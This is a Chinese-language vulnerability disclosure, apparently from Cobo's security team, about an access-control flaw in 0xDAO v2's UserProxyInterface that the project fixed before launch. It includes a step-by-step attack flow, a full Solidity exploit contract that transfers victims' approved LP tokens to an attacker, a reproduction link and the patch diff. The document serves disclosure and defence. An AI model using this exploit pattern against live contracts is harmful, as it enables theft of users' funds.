TL;DR
3月2日,0xDAO v2 原計劃上線前的幾個小時,Cobo 區塊鏈安全團隊啟動對該項目的 DaaS 投前例行安全評估工作,隨後快速地在 github 開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2 此時繼續上線,該漏洞預計會造成數億美金的資產損失。
Cobo 區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到 0xDAO 項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨後協助 0xDAO 項目方對該漏洞進行了修復。
日前,0xDAO 官方發布推文向 Cobo 區塊鏈安全團隊表示了感謝,並且表示會按照嚴重漏洞級別(Critical) 給予 Cobo 區塊鏈安全團隊漏洞賞金獎勵。
原推链接:https://twitter.com/0xDAO_fi/status/1509468844942839809
項目方針對漏洞影響的反饋。
關於0xDAO
1月21日,0xDAO 項目 v1 版本上線。0xDAO v1 的目的主要是為了提高 TVL 爭奪 Andre Cronje 的 veNFT 的空投份額。項目上線後很短時間內即達到 40 億美金 TVL。在成功奪取到最大 veNFT 最大份額後,0xDAO 進入第二階段。v2 版本的 0xDAO 將成為 Andre Cronje 新項目 Solidly 的收益聚合器(Yield Hub),項目方啟動新的合約開發工作。
本次漏洞出現在 0xDAO v2 版本合約代碼中。
漏洞原理
0xDAO v2 設計上要求用戶在前端統一通過 UserProxyInterface 合約與協議進行交互。
UserProxyInterface 合約會調用 UserProxyFactory.createAndGetUserProxy 為每個用戶地址創建一個 UserProxy 合約。相關代碼如下:
contract UserProxyFactory is ProxyImplementation { /** * @notice Create and or get a user's proxy * @param accountAddress Address for which to build or fetch the proxy */ function createAndGetUserProxy(address accountAddress) public returns (address) { // Only create proxies if they don't exist already bool userProxyExists = userProxyByAccount[accountAddress] != address(0); if (!userProxyExists) { require( msg.sender == userProxyInterfaceAddress, "Only UserProxyInterface can register new user proxies" ); // 创建 UserProxy // 以 accountAddress 为 owner // 以 userProxyTemplateAddress 为 implementation address userProxyAddress = address( new UserProxy(userProxyTemplateAddress, accountAddress) ); // 初始化 // Set initial implementations IUserProxy(userProxyAddress).initialize( accountAddress, userProxyInterfaceAddress, oxLensAddress, implementationsAddresses ); // Update proxies mappings userProxyByAccount[accountAddress] = userProxyAddress; userProxyByIndex[userProxiesLength] = userProxyAddress; userProxiesLength++; isUserProxy[userProxyAddress] = true; } return userProxyByAccount[accountAddress]; } } contract UserProxyInterface { // 这个合约是用户前端交互的入口。 // Only allow users to interact with their proxy function createAndGetUserProxy() internal returns (IUserProxy) { return IUserProxy( IUserProxyFactory(userProxyFactoryAddress) .createAndGetUserProxy(msg.sender) ); } }
UserProxyFactory 創建的 UserProxy 是可升級合約,合約 owner 為用戶地址。用戶可以通過升級合約來任意修改合約代碼及 storage,意味著該合約內容完全是用戶可控的。
UserProxy 合約代碼如下:
contract UserProxy { bytes32 constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // keccak256('eip1967.proxy.implementation') bytes32 constant OWNER_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; // keccak256('eip1967.proxy.admin') constructor(address _implementationAddress, address _ownerAddress) { assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) sstore(OWNER_SLOT, _ownerAddress) } } function implementationAddress() external view returns (address _implementationAddress) { assembly { _implementationAddress := sload(IMPLEMENTATION_SLOT) } } function ownerAddress() public view returns (address _ownerAddress) { assembly { _ownerAddress := sload(OWNER_SLOT) } } function updateImplementationAddress(address _implementationAddress) external { require( msg.sender == ownerAddress(), "Only owners can update implementation" ); assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) } } function updateOwnerAddress(address _ownerAddress) external { require(msg.sender == ownerAddress(), "Only owners can update owners"); assembly { sstore(OWNER_SLOT, _ownerAddress) } } // .... }
用戶所有操作都將通過 UserProxy 合約作為中間代理與 0xDAO 協議交互。
下面是以用戶執行 deposit 操作為例。UserProxyInterface 的 depositLp 方法實現如下:
contract UserProxyInterface { function depositLp(address solidPoolAddress, uint256 amount) public { // 找到 msg.sender 对应的 userProxy,如果没有就会自动创建。 IUserProxy userProxy = createAndGetUserProxy(); // 从 userProxy 中取出 ownerAddress address userProxyOwnerAddress = userProxy.ownerAddress(); // 将 userProxyOwnerAddress 的 LP 转到自身 IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // 将自身的 LP 授权给 userProxy 合约。 IERC20(solidPoolAddress).approve(address(userProxy), amount); // 调用 proxy 合约的 depositLp 方法 userProxy.depositLp(solidPoolAddress, amount); } }
用戶正常的 deposit 流程為:
1. 用戶首先將自己的 LP token 授權給 UserProxyInterface 合約
2. 用戶調用 UserProxyInterface.depositLp 函數。
3. 根據 depositLp 代碼的邏輯,用戶資產先會轉移到 UserProxyInterface 合約中,再授權給 userProxy 合約。
4. 最後調用 userProxy.depositLp 完成後續的 deposit 操作。
但這段代碼中存在致命的缺陷:合約沒有檢查 userProxy.ownerAddress() 與合約調用的發起者即 msg.sender 是否一致。
由於 userProxy 合約的內容是用戶完全可控的,那麽攻擊者可以將自身 userProxy 的 ownerAddress 設置為受害者地址,然後利用代碼中的 IERC20(solidPoolAddress).approve(address(userProxy), amount) 得到受害者資產授權,盜取受害者資產。
具體的攻擊流程為:
- 通過正常的 deposit 流程觸發UserProxyFactory.createAndGetUserProxy 為攻擊者賬戶創建一個 UseProxy 合約。
- 調用 UseProxy.updateImplementationAddress 修改 UseProxy 的 Implementation 合約地址為惡意合約地址。新的惡意合約中重新實現 depositLp 函數,將功能修改為將授權給該合約的 Token 轉到攻擊者地址
- 調用 UseProxy.updateOwnerAddress 將 ownerAddress 修改成受害者地址。
- 調用 UserProxyInterface.depositLp 觸發攻擊流程:
-
-
將受害者地址授權給 UserProxyInterface 的 LP 代幣轉移到 UserProxyInterface 合約中。
-
將上述代幣再授權給 UserProxy 合約。
-
調用 UserProxy.depositLp,由於我們已經將 Implementation 替換成惡意合約,這裏實際完成的操作是將授權的代幣轉賬給攻擊者。至此針對受害者 LP 資產的盜取完成。
-
需要註意的是,上述攻擊流程的 4-4.1過程的成功,需要受害者事先完成過對 UserProxyInterface 合約 approve 代幣的操作。但由於 UserProxyInterface 是合約的交互入口,所以使用 0xDAO 協議的用戶均會進行這一 Approve 動作。因此在鏈上找到此類受害者是比較容易的。
前面漏洞解析均以 depositLp 函數為例,實際 UserProxyInterface 合約的 withdrawLp 等函數也有類似的問題,這裏不多贅述。
withdrawLp 函數代碼如下:
contract UserProxyInterface { function withdrawLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy(); address userProxyOwnerAddress = userProxy.ownerAddress(); // Receive oxPool LP from UserProxy owner address oxPoolAddress = oxLens.oxPoolBySolidPool(solidPoolAddress); IERC20(oxPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // Allow UserProxy to spend oxPool LP IERC20(oxPoolAddress).approve(address(userProxy), amount); // Withdraw oxPool LP via UserProxy (UserProxy will transfer it to owner) userProxy.withdrawLp(solidPoolAddress, amount); } }
漏洞利用
根據前面的漏洞原理,Cobo 安全團隊實現了一個攻擊腳本 Demo,代碼如下:
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IERC20 { function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IUserProxyInterface { function depositLp(address, uint) external; } interface IUserProxyFactory { function createAndGetUserProxy(address) external returns (address); } interface IUserProxy { function updateImplementationAddress(address _implementationAddress) external; function updateOwnerAddress(address _ownerAddress) external; } interface IUserProxyHacker{ function setHacker(address) external; } contract UserProxyHacker { address public _hacker; event GotLP(address token, address hacker, uint256 amount); function setHacker(address hacker) external { _hacker = hacker; } function run(address userProxyFactory, address userProxyInterface, address hacker, address target, address token, uint amount) public { // Create UserProxy. IUserProxyInterface(userProxyInterface).depositLp(token, 0); // Get UserProxy address ourUserProxy = IUserProxyFactory(userProxyFactory).createAndGetUserProxy(address(this)); // Change impl IUserProxy(ourUserProxy).updateImplementationAddress(address(this)); // Set hacker address. IUserProxyHacker(ourUserProxy).setHacker(hacker); // Set owner to target IUserProxy(ourUserProxy).updateOwnerAddress(target); // Call depositLp, will callback to depositLp of this address IUserProxyInterface(userProxyInterface).depositLp(token, amount); } function depositLp(address token, uint256 amount) public { IERC20(token).transferFrom(msg.sender, _hacker, amount); emit GotLP(token, _hacker, amount); } }
通過調用上述合約的 run 方法,即可將任意用戶授權給 UserProxyInterface 合約的任意資產轉移到黑客賬戶中。
完整的復現環境見:
https://github.com/CoboCustody/cobo-blog/tree/main/0xdao_exploit
在這個復現中,攻擊者通過漏洞成功將受害者地址授權給 UserProxyInterface 合約的 ERC20 Token 全部轉移到了攻擊者地址中。
漏洞修復
經過 Cobo 區塊鏈安全團隊與 0xDAO 項目方的溝通,項目方很快確認了漏洞的存在,並部署了新的合約完成了漏洞修復。
- 漏洞合約
https://ftmscan.com/address/0x8dc8105fcc1b13a6ad1db83c35112a230e617e5a#code
- 修復後的合約
https://ftmscan.com/address/0xd2f585c41cca33dce5227c8df6adf604085690c2#code
核心補丁代碼如下:
diff contract UserProxyInterface { function depositLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy(); - address userProxyOwnerAddress = userProxy.ownerAddress(); + address userProxyOwnerAddress = msg.sender; // Receive LP from UserProxy owner IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // Allow UserProxy to spend LP IERC20(solidPoolAddress).approve(address(userProxy), amount); // Deposit LP into oxPool via UserProxy userProxy.depositLp(solidPoolAddress, amount); } }
補丁代碼直接使用 msg.sender 作為 userProxyOwnerAddress 進行後續操作,從而避免了 userProxyOwnerAddress 與 msg.sender 不一致的情況。
小結
在此 Cobo 安全團隊提醒進行 DeFi 項目投資的機構與個人,在進行投資時要留意在新項目投資中可能存在的安全風險。
建議:
- 選擇開源且在上線前經過知名安全廠商進行過代碼審計的項目。
- 選擇非匿名、在業界有一定知名度的項目方團隊。
- 鏈上交易過程中,檢查交互的合約與項目合約地址的一致性,防範前端釣魚攻擊。
- 盡量避免使用 ERC20 無限授權。
- 關註區塊鏈安全事件,發現風險及時響應。
Cobo 區塊鏈安全團隊將持續關註區塊鏈、DeFi 安全的前沿攻防技術,保障客戶資產安全,並為整個區塊鏈行業安全水平的提高貢獻自己的力量。
社區組委員
Singapore
2021年04月02日